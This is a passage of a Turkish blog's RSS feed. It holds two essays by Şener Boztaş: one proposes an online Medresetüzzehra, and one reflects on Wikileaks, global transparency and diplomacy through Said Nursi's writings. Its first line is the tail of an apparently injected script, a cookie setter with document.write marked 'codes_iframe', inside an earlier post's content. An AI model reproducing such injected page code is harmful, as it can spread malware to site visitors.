path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/bediuzzamanin-eksigi-ne/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>e-medresetüzzehra</title>
		<link>http://layetezelzel.com/e-medresetuzzehra/</link>
		<comments>http://layetezelzel.com/e-medresetuzzehra/#comments</comments>
		<pubDate>Tue, 31 May 2011 13:46:43 +0000</pubDate>
		<dc:creator>Şener Boztaş</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[İslam Medeniyeti]]></category>
		<category><![CDATA[Kavram]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[eğitim]]></category>
		<category><![CDATA[medrese]]></category>
		<category><![CDATA[medresetüzzehra]]></category>
		<category><![CDATA[risale-i nur]]></category>
		<category><![CDATA[said nursi]]></category>
		<category><![CDATA[üniversite]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=59</guid>
		<description><![CDATA[Medresetüzzehra, Said Nursi’nin, talebelerine bıraktığı hem bir miras hem de bir vasiyettir. Nur Talebeleri bu mirasa sahip çıkmışlar ve onu “Medrese-i Nuriye=dershane” formunda hayata geçirmişlerdir. Fakat vasiyet yerine getirilememiştir. Bugüne kadar uygulanan “dershane” metodu “çift kanatlı talebe” yetiştirmek konusunda yetersiz .....]]></description>
				<content:encoded><![CDATA[<p>Medresetüzzehra, Said Nursi’nin, talebelerine bıraktığı hem bir miras hem de bir vasiyettir.</p>
<p>Nur Talebeleri bu mirasa sahip çıkmışlar ve onu “Medrese-i Nuriye=dershane” formunda hayata geçirmişlerdir. Fakat vasiyet yerine getirilememiştir.</p>
<p>Bugüne kadar uygulanan “dershane” metodu “çift kanatlı talebe” yetiştirmek konusunda yetersiz kalmıştır. Hatta Nurculuk tarihi, dershane içinde uygulanan “okuma yasakları”yla epey maluldür.</p>
<p>Said Nursi’nin Münazarat’ta çerçevesini çizdiği “proje” ise hâlâ gerçekleştirilmeyi beklemektedir.</p>
<p>Bunun ne derece somut bir proje olduğunun en açık delili şudur ki; Bediüzzaman, medresenin insan kaynağını ve finans kaynağını bile tanımlamıştır.</p>
<p>Nur Talebelerinin, “dershaneler vasıtasıyla Medresetüzzehra’dan beklenen maksat hâsıl olmuştur” gerekçesinin arkasından çıkıp, somut olarak bu projenin gerçekleşmesi için ellerini taşın altına koymaları gerekmektedir.</p>
<p>Peki, mevcut YÖK düzeni devam ederken bu nasıl olacak?</p>
<p>Kabul etmek lazım ki, bugünkü mevzuata ve müfredata rağmen Türkiye coğrafyası içinde, toprak üzerinde bir üniversite/medrese kurmak maksada hizmet etmeyecektir.</p>
<p>Bu durumda karşımıza iki seçenek çıkmaktadır.</p>
<p>1. Medresetüzzehra’yı yurtdışında, demokratik bir ülkede açmak; Avrupa’da herhangi bir ülkede. Bu mümkün olmakla birlikte, hem maliyet hem de insan kaynağı (öğrenci ve öğretim üyesi) temini konularında kendine özgü zorluklar ve kısıtlar taşımaktadır.</p>
<p>2. e-Medresetüzzehra: Başlıktan da anlaşılacağı gibi buraya kadar yapılan israf-ı kelam bu maddenin altını doldurmak içindi. Bugün insanlığın ulaştığı BT imkânları, bilgiyi kitap, defter, bina, matbaa gibi zeminlerden kurtarmış ve elektronik ortamda özgürlüğe kavuşturmuştur.</p>
<p>Bediüzzaman’ın Medresetüzzehra’sı bu özgürlüğe hem liyakatlidir hem de muhtaçtır.</p>
<p>Esasında Medresetüzzehra her şeyden önce bir “program”dır. Bu programın hayata geçirilmesi için en doğru zemin ise internet ortamıdır.</p>
<p>Bu imkânlar, Türkiye üniversiteleri tarafından bile kullanılıyorken Nur Talebelerinin bu programı internet üzerinden elektronik ortamda hayata geçirmemeleri için hiçbir neden yoktur.</p>
<p>Şüphesiz e-Medresetüzzehra projesi tartışılabilir, olgunlaştırılabilir, geliştirilebilir ancak biz şimdilik teklifimizi yapmış olarak geleceğin hayalini kuralım:</p>
<p>Risale-i Nur Enstitüsü tarafından hayata geçirilen e-Medresetüzzehra’nın talebeleri, kendilerine hediye edilen iPad vasıtasıyla İspanya’dan, Kazakistan’dan, Nijerya’dan, Van’dan kendi dillerinde derslerini takip ediyorlar… Öğretim üyeleri ise İstanbul’da, Kahire’de, Londra’da, Washington’da…</p>
<p>Not: Ezoterik merakları olan arkadaşlar “Medresetüzzehra” kelimesindeki “e”nin çokluğundan da buna bir işaret çıkarabilirler tabi <img src='http://layetezelzel.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/e-medresetuzzehra/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Camküre</title>
		<link>http://layetezelzel.com/camkure/</link>
		<comments>http://layetezelzel.com/camkure/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 21:21:58 +0000</pubDate>
		<dc:creator>Şener Boztaş</dc:creator>
				<category><![CDATA[İçtimaî]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[diplomasi]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[küreselleşme]]></category>
		<category><![CDATA[okunak]]></category>
		<category><![CDATA[seçik]]></category>
		<category><![CDATA[şeffaflık]]></category>
		<category><![CDATA[wikileaks]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=77</guid>
		<description><![CDATA[&#160; Dünya kamuoyu birkaç gündür Wikileaks’in sızdırdığı, ABD’nin diplomatik sırlarını konuşuyor. Hoş bunların ne kadar “sır” olduğu tartışılır. Özellikle Türkiye ve Türk siyaset ve devlet adamlarıyla ilgili notların dedikodu olarak piyasada dolaştığını biliyoruz. Şaşırtıcı olan bu dedikoduların ABD’nin resmi belgelerine .....]]></description>
				<content:encoded><![CDATA[<p>&nbsp;</p>
<p>Dünya kamuoyu birkaç gündür <em>Wikileaks</em>’in sızdırdığı, ABD’nin diplomatik sırlarını konuşuyor.</p>
<p>Hoş bunların ne kadar “sır” olduğu tartışılır. Özellikle Türkiye ve Türk siyaset ve devlet adamlarıyla ilgili notların dedikodu olarak piyasada dolaştığını biliyoruz. Şaşırtıcı olan bu dedikoduların ABD’nin resmi belgelerine girmiş olması.</p>
<p>Bu bilgileri kimin, nasıl, neden sızdırdığı; bu eylemin kimin işine yarayacağı, kimin zararına olacağı; içerdiği bilgilerin doğruluğu; bundan böyle diplomasiyi ve ülkeler arasındaki ilişkileri nasıl etkileyeceği gibi hususlar tartışıladursun, bizim altını çizmek istediğimiz başka iki husus var.</p>
<p>Birincisi şu;</p>
<p>İletişim devrimi ve ulaşım imkânlarının artmasıyla küreselleşen ve bir köy halini alan dünya, hızla “camküre”ye dönüşüyor.</p>
<p>Bir yandan şeffaflaşıyor, diğer yandan kırılganlaşıyor.</p>
<p>Üstadımız Said Nursi, bir asır önce bu olguya dikkat çekiyor ve şöyle diyor: “Şimdi tekemmül-ü vesait-i nakliye [ulaşım vasıtalarının gelişmesi] ile, âlem bir şehr-i vahid [tek şehir] hükmüne geçtiği gibi, matbuat ve telgraf gibi vesait-i muhabere ve müdavele [iletişim ve ulaşım vasıtaları] ile, ehl-i dünya, bir meclisin ehli hükmündedir.”</p>
<p>Said Nursi’nin bu tespiti yaptığı dönemde bilgisayar yok, internet yok, televizyon yok… On dokuzuncu yüzyılın ortalarında kullanılmaya başlanan elektrikli telgraftan bu yana yaklaşık bir buçuk asır geçti. Bu zaman zarfında siber-teknolojik alanda sağlanan ilerlemenin hızı, internetin yaygın kullanımıyla birlikte son yirmi yılda katlanarak arttı.</p>
<p>İnternet çağı iki imkân çıkardı karşımıza. Birincisi, bilginin serbest dolaşımı ve kolay ulaşılabilir olması. İkincisi, bu ortamda oluşturulan her türlü bilginin –kişisel, kurumsal, entelektüel, diplomatik vs.- kayıt altına alınması, depolanması. Bu durum bilgilerin kullanımıyla ilgili soruları ve endişeleri de beraberinde getirdi.</p>
<p>Şüphesiz bilginin depolanması, serbest dolaşımı ve kolay ulaşılabilir olması insanlığın hayrına iken; bu bilgilerin kötü niyetli kişi, kurum ve devletler tarafında gayr-i ahlaki olarak kullanılması da mümkün. Üstadımız bu hususa Mesnevi-i Nuriye’de şu cümlelerle değiniyor: “Küre-i arzı bir köy şekline sokan şu medeniyet-i sefiheyle gaflet perdesi pek kalınlaşmıştır. Tadili, büyük bir himmete muhtaçtır. Ve keza, beşeriyet ruhundan dünyaya nazır pek çok menfezler açmıştır. Bunların kapatılması, ancak Allah’ın lütfuna mazhar olanlara müyesser olur.”</p>
<p>Her türlü bilimsel gelişmeyi, teknolojik icadı Allah’ın bir nimeti, insanlığa ihsanı olarak görmek ve o çerçevede istimal etmek gerekiyor. Özellikle hem hayra hem şerre kullanılma özelliği taşıyan bilginin/aletin kullanma kılavuzu ise elbette ahlak ve vicdan olmalıdır.</p>
<p>***</p>
<p>Bu vesileyle dikkat çekmek istediğimiz ikinci konu ise diplomasi/diplomatlık mesleği.</p>
<p>Wikileaks’in deşifre ettiği belgelerden anlıyoruz ki, “ikiyüzlülük” ve “dedikodu” diplomatlık mesleğinin karakteri haline gelmiş. Hatta ABD’li yetkililerin çalışmaları diplomatlığı aşarak casusluk boyutuna ulaşmış. Özellikle İslam toplumları arasında fitne çıkarmak için gayret gösterildiği anlaşılıyor. Bu türden faaliyetleri Said Nursi, On Birinci Şua’da şöyle tanımlıyor: “Kendi menfaatleri için küre-i arza ateş atan üfleyicilerin ve sihirbaz o diplomatların tahribata ait bütün işleri ayn-ı şerdir.”</p>
<p>Oysa biliyoruz ki, diplomatlığın çekirdeği olan “elçilik” müessesesinin en belirgin vasfı güvenilirliktir. Elçinin vazifesi götürdüğü/getirdiği mesajı en doğru bir biçimde, yalansız, hilesiz, manipüle etmeden muhatabına ulaştırmaktır.</p>
<p>Elçi hakkı, doğruyu, adaleti tebliğ ve barış için çalışmalıdır. Hz. Peygamberin elçileri böyle elçilerdi.</p>
<p>Dileyelim ki İslam toplumları -Bediüzzaman’ın ifadesiyle- “sihirbaz diplomatların tahribatı”na alet olmasın ve İttihad-ı İslâm ideali için çalışsınlar.</p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/camkure/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
